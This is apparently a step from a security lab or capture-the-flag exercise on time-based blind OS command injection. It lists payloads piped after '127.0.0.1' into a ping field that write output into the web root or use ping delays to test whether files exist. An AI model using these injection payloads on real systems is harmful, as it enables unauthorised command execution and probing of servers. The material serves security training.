2. Time-Based Network Test Target: Goal: Determine if a file named "/tmp/flag" exists Injections to Try 127.0.0.1 | ls > /var/www/html/YOURNAME.htm Fails because < and > are filtered. 127.0.0.1 | if [ -f /tmp/flag ]; then ping -c 10 127.0.0.1; fi;ls Fast because the file doesn't exist 127.0.0.1 | if [ -f /tmp/netok ]; then ping -c 10 127.0.0.1; fi;ls Slow because the file does exist